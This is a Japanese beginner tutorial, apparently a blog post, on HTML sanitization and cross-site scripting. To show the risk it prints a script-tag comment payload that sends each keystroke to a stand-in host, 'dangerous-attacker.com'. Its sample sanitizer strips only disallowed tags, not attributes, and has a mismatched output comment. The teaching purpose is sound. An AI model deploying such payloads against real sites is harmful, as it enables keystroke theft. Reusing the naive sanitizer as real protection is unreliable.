HTMLサニタイズ101：ウェブの安全性の基本

## 目次

- イントロ
- HTMLサニタイズとは
- なぜ重要なのか
- どのように動作するのか
- まとめ

## イントロ

ユーザーが入力したHTMLコードをそのまま信頼してもいいと思いますか。知らないうちに危険なコードがあなたのウェブサイトに含まれ、ユーザーを危険にさらす可能性があります。本日はこのような危険要素を取り除いてくれるガードライン、「HTML サニタイズ」について説明します。

## HTMLサニタイズとは


HTMLサニタイズ(Sanitize)は***HTMLコード内の潜在的に危険な要素を除去し、無害な形に変換する過程***自体を意味します。そして、実際にこれを処理するプログラムをHTMLサニタイザー(Sanitizer)といいます。これは、ウェブサイトがユーザーからの入力を安全に処理するための必須のステップです。

ウェブサイトの運営を飲食店の運営に例えると、次のような状況を想像することができます。飲食店は様々な供給源から原材料を受け取り、それを徹底的に洗浄し、安全な状態で冷蔵庫に保管します。その後、料理者がこの原材料を加工して料理を作り、それを顧客に提供します。

ウェブサイトも同じように機能します。ウェブサイトはユーザーから様々な形のデータを受け取ります。 この中で、HTMLコードを含むデータは特に注意が必要です。このようなデータは、HTMLサニタイズを経て危険要素が除去された後に使用する方が安全です。
![Screen Shot 2023-09-01 at 23.01.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3529304/03b2196a-c52d-1ef4-33ad-3753f8bbb10e.png)


## なぜ重要なのか

簡単に言えば、セキュリティの問題です。 HTMLサニタイズをせずに使われてるHTMLコードは、Cross-Site Scripting(XSS)攻撃のようなセキュリティ上のリスクを引き起こす可能性があります。このため、常にHTMLコードをデータとして扱う時は注意が必要です。 ここでHTMLサニタイズをしなかった時に発生する可能性があるケースをブログの例に挙げて説明します。

学生Aが自分で開発したブログを運営しているこことを考えてみましょう。ある日、この学生はコメントで太字で表示する機能が欲しくて機能を追加します。コメントのスタイルは内部的にHTMLコードの形で変換されてデータベースに保存されます。例えば、コメントに内容は「**すごぐ** 助かりました!」のように表示されますが、データベースには「\<b>すごく\</b> 助かりました!」のように保存されます。
しかし、HTMLサニタイズの存在を知らなかったため、HTMLコードをそのままデーだベースに保存する形で実装してしまいました。このような状況である訪問者が悪意的にスクリプトを挿入して次のようなコメントを残しました。
```
いいですね！
<script>alert('おはよう');</script>
```
これはどうなると思いますか。はい、結論的にはその投稿を訪問するすべてのユーザーに、「おはよう」というブラウザの通知が表示されます。 それでは、少し危険に見えるコメントはどうでしょうか。

```
いいですね！
<script>
  document.onkeydown = function(e) {
    new Image().src = 'http://dangerous-attacker.com/collect?key=' + e.key;
  };
</script>
```
もちろん、ユーザーのブラウザ画面には何も表示されません。 しかし、見えないところで恐ろしいことが起こっています。Chromeの開発者コンソールのネットワークパネルを開いて見てみましょう。
![XSS_Keylogging.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3529304/7bd8a416-fd9c-cbbd-cb43-2dccd5fb680d.png)

誰も知らないうちにユーザーが押しているキー情報をどこかに送信していることを確認することができます。このようにスクリプトを挿入してキー情報を収集する攻撃を **XSS Keylogging**といいます。上記の二つの例のように、この他にも様々なリスクが発生する可能性があります。これは皆さんの想像にお任せします。

## どのように動作するのか

HTMLサニタイズの動作原理は思ったより簡単です。HTMLコードから危険要素に該当する部分を全て除去します。もちろん、これよりもっと多くの考慮事項がありますが、ここでは概念を理解する目的でブラウザのDOM APIを使って軽くコードを書いてみましょう。 (＊サーバーサイドの場合はDOMを実装したライブラリを使えます。）

```javascript
function sanitize(dirtyHTML, allowedTags) {
  // HTML文字列をDOMに変換
  const parser = new DOMParser();
  const doc = parser.parseFromString(dirtyHTML, 'text/html');

  // 危険なタグを取り除く
  Array.from(doc.body.querySelectorAll('*')).forEach(tag => {
    if (!allowedTags.includes(tag.tagName.toLowerCase())) {
      tag.remove();
    }
  });

  // 安全なHTML文字列をリターンする
  return doc.body.innerHTML;
}

const dirtyHTML = '<script>alert("おはよう");</script><p>いいですね!</p>';
const cleanHTML = sanitize(dirtyHTML, ['p']);
console.log(cleanHTML);  // 出力: "<p>Hello, World!</p>"
```
コードを見るとシンプルです。HTMLをDOMで解析して許可されたタグ以外必要ないタグをDOMエレメントのremove APIを使って全て削除します。自分で実装するのも良いですが、他の良いライブラリ(例えば、[DOMPurify](https://github.com/cure53/DOMPurify))がたくさんあるので、皆さんの環境に合わせて探してみてください。

## まとめ

さて、今までHTMLサニタイズが何なのか、なぜ重要なのか、そしてどのように動作するのかを学びました。 ここで学んだ内容を軽くまとめます。

- HTMLサニタイズ(Sanitize)はHTMLコード内で潜在的に危険な要素を識別して除去して無害な形に変換する過程そのものです。
- HTMLサニタイザー(Sanitizer)は、HTMLサニタイズを行う実際のプログラムです。
- HTMLサニタイズの過程を経ないと、Cross-Site Scripting(XSS攻撃のようなセキュリティー問題が発生する可能性があります。
- HTMLサニタイズは、HTMLコードをDOMオブジェクトに解析し、許可されていないタグや属性を除去する方法で動作します。

いつでもHTMLコードをデータとして扱う時、必要によってあなたの大切なユーザーが攻撃にさらされないように、HTMLサニタイズを忘れないでください。